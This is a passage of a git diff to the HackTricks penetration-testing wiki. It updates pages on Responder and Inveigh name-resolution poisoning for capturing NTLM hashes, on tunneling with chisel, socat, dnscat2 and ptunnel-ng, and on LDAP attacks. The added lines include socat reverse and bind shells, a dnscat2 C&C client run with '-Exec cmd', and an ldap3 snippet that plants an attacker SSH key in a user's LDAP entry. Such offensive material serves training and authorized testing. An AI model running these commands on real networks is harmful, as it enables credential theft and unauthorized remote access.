zWrI`7DMrQXY-Pj-+qu0;b#+EP$re*g@NxipevcJ+-bt?zhJ`=CBidgN&^B{{Sx_OC zCZSJD)hX^iO|}tDx-A5r9vd&UT|3$TfwPpY7-g$Ozj>t>+sm$p^aqGa5;vGiGw$=@8}bz^q=hhR+QZil=&mJugc%{oM* zSRS)!*cNZt*rXKWRoe6r{^>uY^in!T&y_A6~DM3U< z6b@#&*GCzwuHXRleg5lOQC$HgIQ`UXM$ES2hW#RJKv*2TAhWWM4O2pKv0248>px0{ zzlb!?U2ebLmr2=;h(&gxqz1)<(LbU$yT^HW+^5Ao;^l@JEXvNYKs1wi?EN7JCxhS( z{dm!hf%vLqRm779KPQGcW#b3AksKCJ`f80nx-xQGCJQ^vP$zf<*~X(=m=ZNzkC@R5 znS4?ky9wj#2=~>MF-NYU1s!r$5YWi1)tH?zFPDR-3!=$scs5!EQXF?1pnCMxd7Y6r zUMm?t3c>ea-yV*{0V?>^*s84Z3EYL?=)}Qb6kp@LwVjA5Kk)aXf}MA7=VnT&k=&)V zmC7;#5>l3VzO8Z(LwtLi0bO<3z5Akj`UTJc5eL2WRx7BJf*;`Q);%!8< z$4gL77i?P|G=TaphvO)kDlF7YMtK+xNM~bGB;`1s|HXC{_ZwO!<%P7jJp^-HP7Y!tHpw( zPmWpC^MrCoC$n=KxnxT*4Xvw5;C3tKcw*l@6ZigogNMbR#|3SG=?MZOY#YBN3xI zHnFjYgP1nthd8uRT;6Cnu4s+31K^O;LYg9l(d(J+PEvD8Ef?7&J8UC1MjXVbTQB1W zk=wyjlUI!&iv{rZp5CG^(`#o&-Q`}+b+Xy%iPl=cgy6<~4wDV((Rr_QgXX<>s2)#vn@64p!IWN>+Pj#D7L(ABh6X*V2E6WS4^)3!X>3UEECQ@$tb zK?s&S4~=VWbYr-b$ZFmC>?vw7yj$p#ka=^E&(3EX&*9iH!A*E8MBOrG9;?Z8^NC>f_46_?=8F-f_Ba17<%|eYAQ18Zp$n6d(d) z_gjSCV}KP_U0Dx$wWeo=bG+~G>GkPwfF|zSdVIQF-f$%`mXtuQt`oKyFZE>HXfb{( zuB>;{=c$&jV;X{yOEKWgKtGU%pV{1jv^Z}MP>&#-l64DW6bc%eK z@l$mh-KTR}RlxxysXMvi#Dh->GM`72o!&ze7h#w7-+# z_x17re;qwP>0p)SB6<2gxH{fJvWYMuqxkUfH?lM26zAyJwJC#c8-U~g{q4cOA3tOG zkuOtODe$j%em(vB<)0DzI~srI#-Ca6-&rYV5r@@sEYC15KdrZc%3!4`g-2ok1f#U* Ah5!Hn diff --git a/README.md b/README.md index 95f05a74e..7b2633151 100644 --- a/README.md +++ b/README.md @@ -70,6 +70,8 @@ Get Access Today: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} +### [WebSec](https://websec.nl/) +

[**WebSec**](https://websec.nl) is a professional cybersecurity company based in **Amsterdam** which helps **protecting** businesses **all over the world** against the latest cybersecurity threats by providing **offensive-security services** with a **modern** approach. diff --git a/SUMMARY.md b/SUMMARY.md index 5351cca85..459807db3 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -175,6 +175,7 @@ * [DCShadow](windows-hardening/active-directory-methodology/dcshadow.md) * [DCSync](windows-hardening/active-directory-methodology/dcsync.md) * [Diamond Ticket](windows-hardening/active-directory-methodology/diamond-ticket.md) + * [Kerberos Double Hop Problem](windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md) * [DSRM Credentials](windows-hardening/active-directory-methodology/dsrm-credentials.md) * [External Forest Domain - OneWay (Inbound)](windows-hardening/active-directory-methodology/external-forest-domain-oneway-inbound.md) * [External Forest Domain - One-Way (Outbound)](windows-hardening/active-directory-methodology/external-forest-domain-one-way-outbound.md) diff --git a/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md b/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md index a4f47f2c2..aade20608 100644 --- a/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md +++ b/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md @@ -39,18 +39,19 @@ Responder automates the WPAD attackβ€”running a proxy and directing clients to a > > The concept behind this is to target our answers, and be stealthier on the network. This also helps to ensure that we don't break legitimate NBT-NS behavior. -[Responder](https://github.com/lgandx/Responder) is installed in kali by default and the config file is located in _/etc/responder/Responder.conf_ +* [**Responder**](https://github.com/lgandx/Responder) is installed in kali by default and the config file is located in **`/etc/responder/Responder.conf` ** (here you can disable rogue servers) +* **Responder** will **print hashes out on screen** and **write** it to a **log** file per host located in the `/usr/share/responder/logs` directory. Hashes are saved in the format `(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt` +* You can find here Responder for **windows** [here](https://github.com/lgandx/Responder-Windows) +* Responder works in **ipv4** & **ipv6** -You can find here Responder for **windows** [here](https://github.com/lgandx/Responder-Windows) +#### Responder Params -> Responder works in ipv4 & **ipv6** - -Options are the following : +Responder supports the following options: ``` ---version show program's version number and exit --h, --help show this help message and exit --A, --analyze Analyze mode. This option allows you to see NBT-NS, +--version show program's version number and exit +-h, --help show this help message and exit +-A, --analyze Analyze mode. This option allows you to see NBT-NS, BROWSER, LLMNR requests without responding. -I eth0, --interface=eth0 Network interface to use, you can use 'ALL' as a @@ -63,35 +64,55 @@ Options are the following : -e 10.0.0.22, --externalip=10.0.0.22 Poison all requests with another IP address than Responder's one. --b, --basic Return a Basic HTTP authentication. Default: NTLM --d, --DHCP Enable answers for DHCP broadcast requests. This +-b, --basic Return a Basic HTTP authentication. Default: NTLM +-r, --wredir Enable answers for netbios wredir suffix queries. + Answering to wredir will likely break stuff on the + network. Default: False +-d, --DHCP Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False --D, --DHCP-DNS This option will inject a DNS server in the DHCP +-D, --DHCP-DNS This option will inject a DNS server in the DHCP response, otherwise a WPAD server will be added. Default: False --w, --wpad Start the WPAD rogue proxy server. Default value is +-w, --wpad Start the WPAD rogue proxy server. Default value is False -u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port) --F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file +-F, --ForceWpadAuth Force NTLM/Basic authentication on wpad.dat file retrieval. This may cause a login prompt. Default: False --P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) +-P, --ProxyAuth Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False ---lm Force LM hashing downgrade for Windows XP/2003 and +--lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False ---disable-ess Force ESS downgrade. Default: False --v, --verbose Increase verbosity. +--disable-ess Force ESS downgrade. Default: False +-v, --verbose Increase verbosity. ``` +
+ +Responder Params + +* The `-A` flag puts us into **analyze mode**, allowing us to see NBT-NS, BROWSER, and LLMNR requests in the environment without poisoning any responses. +* We must always supply either an interface or an IP. +* `-wf` will start the WPAD rogue proxy server +* `-f` will attempt to fingerprint the remote host operating system and version +* Use the `-v` flag for increased verbosity (a lot of additional data printed to the console) +* Options such as `-F` and `-P` can be used to force NTLM or Basic authentication and force proxy authentication, but may cause a login prompt, so they should be used sparingly. +* The `-w` flag utilizes the built-in WPAD proxy server. This can be highly effective, especially in large organizations, because it will capture all HTTP requests by any users that launch Internet Explorer if the browser has [Auto-detect settings](https://docs.microsoft.com/en-us/internet-explorer/ie11-deploy-guide/auto-detect-settings-for-ie11) enabled. + +
+ +#### Running Responder + To run default Responder behaviour you only have to execute: ```bash -responder -I -Pv +responder -I #Default conf +responder -I -P -r -v #More chances but might break things ``` An interesting technique is to use responder to downgrade the NTLM authentication when possible. This will allow to **capture NTLMv1 challenges and responses** instead of NTLMv2 that can be **easily cracked** [**following this guide**](../../windows-hardening/ntlm/#ntlmv1-attack)**.** @@ -117,7 +138,7 @@ You won't be able to intercept NTLM hashes (normally), but you can easily grab s The **logs and the challenges** of default _**Responder**_ installation in kali can be found in `/usr/share/responder/logs` -### DHCP Poisoning +#### Responder - DHCP Poisoning Windows uses several custom DHCP options such as NetBIOS, WINS, WPAD settings. When a workstation sends a DHCP request to get its networking settings, these additional settings can be included in the DHCP answer to facilitate straightforward connectivity and name resolution. @@ -131,7 +152,7 @@ However, spoofing DHCP answers has unique benefits. **It's definitely stealthier ./Responder.py -I eth0 -Pdv ``` -### Capturing credentials +#### Responder - Capturing credentials Responder is going to **impersonate all the service using the mentioned protocols**. Once some user try to access a service being resolved using those protocols, **he will try to authenticate against Responde**r and Responder will be able to **capture** the "credentials" (most probably a **NTLMv2 Challenge/Response**): @@ -143,11 +164,23 @@ It is possible to try to downgrade to NetNTLMv1 or to try to disable ESS. > Inveigh is a PowerShell ADIDNS/LLMNR/NBNS/mDNS/DNS spoofer and man-in-the-middle tool designed to assist penetration testers/red teamers that find themselves limited to a Windows system. -[**Inveigh** ](https://github.com/Kevin-Robertson/Inveigh)was a PowerShell script, now it's a C# binary that has the same main features as Responder.\ +[**Inveigh** ](https://github.com/Kevin-Robertson/Inveigh)was a PowerShell script, now it's a C# binary that has the same main features as Responder. There is a [**wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters) **** that lists all parameters and usage instructions.\ Another version can be found in [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero). ![](../../.gitbook/assets/45662029-1b5e6300-bace-11e8-8180-32f8d377d48b.png) +Or run it with more options: + +```powershell +Invoke-Inveigh Y -NBNS Y -ConsoleOutput Y -FileOutput Y +``` + +Or run the C# version: + +```bash +Inveigh.exe +``` + ## NTML Relay Attack This attack relays **SMB authentication sessions** on an internal network to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**. Please, note that the relayed authentication must be from a **user which has Local Admin access to the relayed** host and **SMB signing must be disabled**. diff --git a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md index 9d9ac362d..9a856d798 100644 --- a/generic-methodologies-and-resources/tunneling-and-port-forwarding.md +++ b/generic-methodologies-and-resources/tunneling-and-port-forwarding.md @@ -202,22 +202,6 @@ rportfwd_local [bind port] [forward host] [forward port] rportfwd_local stop [bind port] ``` -## Windows netsh - -### Port2Port - -You need to be a local admin (for any port) - -```bash -netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp -# Example: -netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444 -# Check the port forward was created: -netsh interface portproxy show v4tov4 -# Delete port forward -netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 -``` - ## reGeorg [https://github.com/sensepost/reGeorg](https://github.com/sensepost/reGeorg) @@ -236,16 +220,19 @@ You need to use the **same version for client and server** ### socks ```bash -./chisel server -p 8080 --reverse #Server -./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client +./chisel server -p 8080 --reverse #Server -- Attacker +./chisel-x64.exe client 10.10.14.3:8080 R:socks #Client -- Victim #And now you can use proxychains with port 1080 (default) + +./chisel server -v -p 8080 --socks5 #Server -- Victim (needs to have port 8080 exposed) +./chisel client -v 10.10.10.10:8080 socks #Attacker ``` ### Port forwarding ```bash -./chisel_1.7.6_linux_amd64 server -p 12312 --reverse -./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 +./chisel_1.7.6_linux_amd64 server -p 12312 --reverse #Server -- Attacker +./chisel_1.7.6_linux_amd64 client 10.10.14.20:12312 R:4505:127.0.0.1:4505 #Client -- Victim ``` ## Rpivot @@ -281,7 +268,7 @@ victim> python client.py --server-ip --server-port 9999 --ntl ```bash victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane -attacker> socat FILE:`tty`,raw,echo=0 TCP::1337 +attacker> socat FILE:`tty`,raw,echo=0 TCP4::1337 ``` ### Reverse shell @@ -294,13 +281,13 @@ victim> socat TCP4::1337 EXEC:bash,pty,stderr,setsid,sigint,sane ### Port2Port ```bash -socat TCP-LISTEN:,fork TCP:: & +socat TCP4-LISTEN:,fork TCP4:: & ``` ### Port2Port through socks ```bash -socat TCP-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 +socat TCP4-LISTEN:1234,fork SOCKS4A:127.0.0.1:google.com:80,socksport=5678 ``` ### Meterpreter through SSL Socat @@ -364,6 +351,53 @@ echo y | plink.exe -l -pw [-p ] -R < echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090 ``` +## Windows netsh + +### Port2Port + +You need to be a local admin (for any port) + +```bash +netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp +# Example: +netsh interface portproxy add v4tov4 listenaddress=0.0.0.0 listenport=4444 connectaddress=10.10.10.10 connectport=4444 +# Check the port forward was created: +netsh interface portproxy show v4tov4 +# Delete port forward +netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444 +``` + +## SocksOverRDP & Proxifier + +You need to have **RDP access over the system**.\ +Download: + +1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - This tool uses `Dynamic Virtual Channels` (`DVC`) from the Remote Desktop Service feature of Windows. DVC is responsible for **tunneling packets over the RDP connection**. +2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab) + +In your client computer load **`SocksOverRDP-Plugin.dll`** like this: + +```bash +# Load SocksOverRDP.dll using regsvr32.exe +C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll +``` + +Now we can **connect** to the **victim** over **RDP** using **`mstsc.exe`**, and we should receive a **prompt** saying that the **SocksOverRDP plugin is enabled**, and it will **listen** on **127.0.0.1:1080**. + +**Connect** via **RDP** and upload & execute in the victim machine the **`SocksOverRDP-Server.exe` ** binary: + +``` +C:\SocksOverRDP-x64> SocksOverRDP-Server.exe +``` + +Now, confirm in you machine (attacker) that the port 1080 is listening: + +``` +netstat -antb | findstr 1080 +``` + +Now you can use [**Proxifier**](https://www.proxifier.com/) **to proxy the traffic through that port.** + ## Proxify Windows GUI Apps You can make Windows GUI apps navigate through a proxy using [**Proxifier**](https://www.proxifier.com/).\ @@ -423,14 +457,29 @@ ssh @1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080 ### DNSCat2 +****[**Download it from here**](https://github.com/iagox86/dnscat2)**.** + Establishes a C\&C channel through DNS. It doesn't need root privileges. ```bash attacker> ruby ./dnscat2.rb tunneldomain.com victim> ./dnscat2 tunneldomain.com + +# If using it in an internal network for a CTF: +attacker> ruby dnscat2.rb --dns host=10.10.10.10,port=53,domain=mydomain.local --no-cache +victim> ./dnscat2 --dns host=10.10.10.10,port=5353 ``` -**Port forwarding with dnscat** +#### **In PowerShell** + +You can use [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) to run a dnscat2 client in powershell: + +``` +Import-Module .\dnscat2.ps1 +Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd +``` + +#### **Port forwarding with dnscat** ```bash session -i @@ -460,11 +509,28 @@ Root is needed in both systems to create tun adapters and tunnel data between th ping 1.1.1.100 #After a successful connection, the victim will be in the 1.1.1.100 ``` +### ptunnel-ng + +****[**Download it from here**](https://github.com/utoni/ptunnel-ng.git). + +```bash +# Generate it +sudo ./autogen.sh + +# Server -- victim (needs to be able to receive ICMP) +sudo ptunnel-ng +# Client - Attacker +sudo ptunnel-ng -p -l -r -R +# Try to connect with SSH through ICMP tunnel +ssh -p 2222 -l user 127.0.0.1 +# Create a socks proxy through the SSH connection through the ICMP tunnel +ssh -D 9050 -p 2222 -l user 127.0.0.1 +``` + ## Other tools to check * [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf) * [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy) -* [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel)
diff --git a/network-services-pentesting/pentesting-ldap.md b/network-services-pentesting/pentesting-ldap.md index 66812a2c2..fc6b8f41a 100644 --- a/network-services-pentesting/pentesting-ldap.md +++ b/network-services-pentesting/pentesting-ldap.md @@ -74,9 +74,74 @@ phone: 23627387495 * Lines 10-16 define 2 organizational units: dev and sales * Lines 18-26 create an object of the domain and assign attributes with values -## Basic Enumeration +## Write data -### Manual +Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**. + +```bash +>>> import ldap3 +>>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) +>>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) +>>> connection.bind() +True +>>> connection.extend.standard.who_am_i() +u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' +>>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) +``` + +Example taken from: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/) + +## Sniff clear text credentials + +If LDAP is used without SSL you can **sniff credentials in plain text** in the network. + +Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login. + +**If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again. + +## Anonymous Access + +### Bypass TLS SNI check + +According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user: + +```bash +ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + +``` + +### LDAP anonymous binds + +[LDAP anonymous binds](https://docs.microsoft.com/en-us/troubleshoot/windows-server/identity/anonymous-ldap-operations-active-directory-disabled) allow **unauthenticated attackers** to retrieve information from the domain, such as a complete listing of users, groups, computers, user account attributes, and the domain password policy. This is a **legacy configuration**, and as of Windows Server 2003, only authenticated users are permitted to initiate LDAP requests. \ +However, admins may have needed to **set up a particular application to allow anonymous binds** and given out more than the intended amount of access, thereby giving unauthenticated users access to all objects in AD. + +## Valid Credentials + +If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using: + +[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) + +```bash +pip3 install ldapdomaindump +ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] +``` + +### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap) + +## Enumeration + +### Automated + +Using this you will be able to see the **public information** (like the domain name)**:** + +```bash +nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials +``` + +### Python + +
+ +See LDAP enumeration with python You can try to **enumerate a LDAP with or without credentials using python**: `pip3 install ldap3` @@ -117,63 +182,26 @@ True >>> connection.entries ``` -### Automated +
-Using this you will be able to see the **public information** (like the domain name)**:** +### windapsearch + +[**Windapsearch**](https://github.com/ropnop/windapsearch) **** is a Python script useful to **enumerate users, groups, and computers from a Windows** domain by utilizing LDAP queries. ```bash -nmap -n -sV --script "ldap* and not brute" #Using anonymous credentials +# Get computers +python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --computers +# Get groups +python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --groups +# Get users +python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da +# Get Domain Admins +python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --da +# Get Privileged Users +python3 windapsearch.py --dc-ip 10.10.10.10 -u john@domain.local -p password --privileged-users ``` -## Write data - -Note that if you can modify values you could be able to perform really interesting actions. For example, imagine that you **can change the "sshPublicKey" information** of your user or any user. It's highly probable that if this attribute exist, then **ssh is reading the public keys from LDAP**. If you can modify the public key of a user you **will be able to login as that user even if password authentication is not enabled in ssh**. - -```bash ->>> import ldap3 ->>> server = ldap3.Server('x.x.x.x', port =636, use_ssl = True) ->>> connection = ldap3.Connection(server, 'uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN', 'PASSWORD', auto_bind=True) ->>> connection.bind() -True ->>> connection.extend.standard.who_am_i() -u'dn:uid=USER,ou=USERS,dc=DOMAIN,dc=DOMAIN' ->>> connection.modify('uid=USER,ou=USERS,dc=DOMAINM=,dc=DOMAIN',{'sshPublicKey': [(ldap3.MODIFY_REPLACE, ['ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDHRMu2et/B5bUyHkSANn2um9/qtmgUTEYmV9cyK1buvrS+K2gEKiZF5pQGjXrT71aNi5VxQS7f+s3uCPzwUzlI2rJWFncueM1AJYaC00senG61PoOjpqlz/EUYUfj6EUVkkfGB3AUL8z9zd2Nnv1kKDBsVz91o/P2GQGaBX9PwlSTiR8OGLHkp2Gqq468QiYZ5txrHf/l356r3dy/oNgZs7OWMTx2Rr5ARoeW5fwgleGPy6CqDN8qxIWntqiL1Oo4ulbts8OxIU9cVsqDsJzPMVPlRgDQesnpdt4cErnZ+Ut5ArMjYXR2igRHLK7atZH/qE717oXoiII3UIvFln2Ivvd8BRCvgpo+98PwN8wwxqV7AWo0hrE6dqRI7NC4yYRMvf7H8MuZQD5yPh2cZIEwhpk7NaHW0YAmR/WpRl4LbT+o884MpvFxIdkN1y1z+35haavzF/TnQ5N898RcKwll7mrvkbnGrknn+IT/v3US19fPJWzl1/pTqmAnkPThJW/k= badguy@evil'])]}) -``` - -Example taken from: [https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/](https://www.n00py.io/2020/02/exploiting-ldap-server-null-bind/) - -## Clear text credentials - -If LDAP is used without SSL you can **sniff credentials in plain text** in the network. - -Also, you can perform a **MITM** attack in the network **between the LDAP server and the client.** Here you can make a **Downgrade Attack** so the client with use the **credentials in clear text** to login. - -**If SSL is used** you can try to make **MITM** like the mentioned above but offering a **false certificate**, if the **user accepts it**, you are able to Downgrade the authentication method and see the credentials again. - -## Bypass TLS SNI check - -According to [**this writeup**](https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/) just by accessing the LDAP server with an arbitrary domain name (like company.com) he was able to contact the LDAP service and extract information as an anonymous user: - -```bash -ldapsearch -H ldaps://company.com:636/ -x -s base -b '' "(objectClass=*)" "*" + -``` - -## Valid Credentials - -If you have valid credentials to login into the LDAP server, you can dump all the information about the Domain Admin using: - -[ldapdomaindump](https://github.com/dirkjanm/ldapdomaindump) - -```bash -pip3 install ldapdomaindump -ldapdomaindump [-r ] -u '\' -p '' [--authtype SIMPLE] --no-json --no-grep [-o /path/dir] -``` - -### [Brute Force](../generic-methodologies-and-resources/brute-force.md#ldap) - -### Manual - -#### ldapsearch +### ldapsearch Check null credentials or if your credentials are valid: diff --git a/network-services-pentesting/pentesting-web/tomcat.md b/network-services-pentesting/pentesting-web/tomcat.md index 4a1a15907..de8ae4ff3 100644 --- a/network-services-pentesting/pentesting-web/tomcat.md +++ b/network-services-pentesting/pentesting-web/tomcat.md @@ -17,7 +17,7 @@ * It usually runs on **port 8080** * **Common Tomcat error:** -
+
## Enumeration diff --git a/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md b/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md new file mode 100644 index 000000000..4dfb3bb75 --- /dev/null +++ b/windows-hardening/active-directory-methodology/kerberos-double-hop-problem.md @@ -0,0 +1,46 @@ +# Kerberos Double Hop Problem + +
+ +Support HackTricks and get benefits! + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** + +
+ +## Introduction + +The Kerberos "Double Hop" problem appears when an attacker attempts to use **Kerberos authentication across two** **hops**, for example using **PowerShell**/**WinRM**. + +When an **authentication** occurs through **Kerberos**, **credentials** **aren't** cached in **memory.** Therefore, if you run mimikatz you **won't find credentials** of the user in the machine even if he is running processes. + +This is because when connecting with Kerberos these are the steps: + +1. User1 provides credentials and **domain controller** returns a Kerberos **TGT** to the User1. +2. User1 uses **TGT** to request a **service ticket** to **connect** to Server1. +3. User1 **connects** to **Server1** and provides **service ticket**. +4. **Server1** **doesn't** have **credentials** of User1 cached or the **TGT** of User1. Therefore, when User1 from Server1 tries to login to a second server, he is **not able to authenticate**. + + + +## References + +* [https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20](https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/understanding-kerberos-double-hop/ba-p/395463?lightbox-message-images-395463=102145i720503211E78AC20) + + + +
+ +Support HackTricks and get benefits! + +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** +* **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** + +
diff --git a/windows-hardening/active-directory-methodology/laps.md b/windows-hardening/active-directory-methodology/laps.md index 28d05fc4e..5a3d0de67 100644 --- a/windows-hardening/active-directory-methodology/laps.md +++ b/windows-hardening/active-directory-methodology/laps.md @@ -4,15 +4,11 @@ Support HackTricks and get benefits! -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**πŸ’¬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.** - -- **Share your hacking tricks by submitting PRs to the** [**hacktricks github repo**](https://github.com/carlospolop/hacktricks)**.** +* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +* **Join the** 